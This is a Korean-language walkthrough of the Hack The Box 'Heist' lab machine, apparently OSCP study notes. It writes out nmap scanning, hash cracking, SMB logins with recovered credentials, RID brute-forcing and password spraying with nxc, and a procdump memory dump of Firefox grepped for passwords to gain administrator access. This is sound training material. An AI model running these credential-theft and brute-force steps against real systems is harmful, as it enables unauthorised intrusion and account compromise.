풀이 시간
초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
포트 스캔
# Nmap 7.99 scan initiated Sun Sep 6 07:30:44 2026 as: /usr/lib/nmap/nmap -p 80,135,445,5985,49669 -sV -sC --min-rate 3000 -Pn -n -oA recon/tcpDetail 10.129.96.157
Nmap scan report for 10.129.96.157
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-title: Support Login Page
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-09-05T14:49:56
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: -7h41m56s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 6 07:32:29 2026 -- 1 IP address (1 host up) scanned in 104.86 seconds
로그인 페이지에서 SQLi 반응 없음
login as guest 버튼의 URL은 http://10.129.96.157/login.php?guest=true 임

접속하면 게스트 계정으로 댓글을 읽을 수 있고 attachment 버튼 누르면 http://10.129.96.157/attachments/config.txt 파일 접근 가능함
Hazard 계정이 존재할 것 같음

config.txt 파일에서 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 패스워드를 크래킹
135, 445 SMB 포트가 열려있어 Hazard 계정 로그인 결과, 크리덴셜 확보함

5985 WinRM 포트 열려있으니 로그인 시도했으나 실패함
┌──(root㉿kali)-[/home/kali/oscp/htb/Heist]
└─# evil-winrm -i 10.129.96.157 -u 'Hazard' -p stealth1agent
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\> whoami
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
┌──(root㉿kali)-[/home/kali/oscp/htb/Heist]
└─# smbclient //10.129.96.157/IPC$ -U 'Hazard'%'stealth1agent'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
권한 상승
[misconfiguration 또는 exploit] 요약
445,139 포트가 열려있기 때문에 RID 브루트포싱을 시도해볼 수 있음 익명으로는 실패
nxc smb 10.129.38.18 -u '' -p '' --rid-brute
hazard 계정으로 rid 브루트포싱
nxc smb 10.129.38.18 -u 'HAZARD' -p 'stealth1agent' --rid-brute
support
chase
jason
config.txt 파일에서 확보한 패스워드 리스트와 RID 브루트포싱으로 얻은 유저 리스트를 패스워드 스프레이 함 chase:Q4) 로그인
program files 폴더에 파이어폭스가 있고 ps 명령어로 실행중인 프로세스를 확인했을 때 파이어폭스가 실행중임
파이어폭스 계정 크리덴셜은 호스트의 C:\username\AppData\Roaming\Mozilla\Firefox\profiles\***.default 폴더로 이루어짐
firepwd.py, firefox_decrypt.py 복호화 툴을 깃허브에서 설치해 사용해봤지만 모두 실패
실행중인 파이어폭스 메모리 덤프를 뜨면 계정 크리덴셜을 수집할 수 있음
윈도우에서 만든 도구인 SysinternalsSuite 에서 procdump64.exe 업로드 및 실행
procdump.exe -accepteula
처음엔 레지스트리 설정위해 acceptula 필요
./procdump.exe -ma processID firefox.dmp
evil-winrm 쉘을 사용 중이니 다운로드 명령어 쓸 수 있음 일반적인 리버스 쉘이었으면 칼리에 smbserver 열어서 옮기면 됨
strings firefox.dmp | grep -E password
메모리에서 패스워드 확보
net users 실행해서 찾은 계정 목록임 administrator, chase, jason, support
evil-winrm으로 administrator 로그인
루트 획득
막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약
파이어폭스로 권한상승하는 파트 막혀서 라이트업 찾아봤음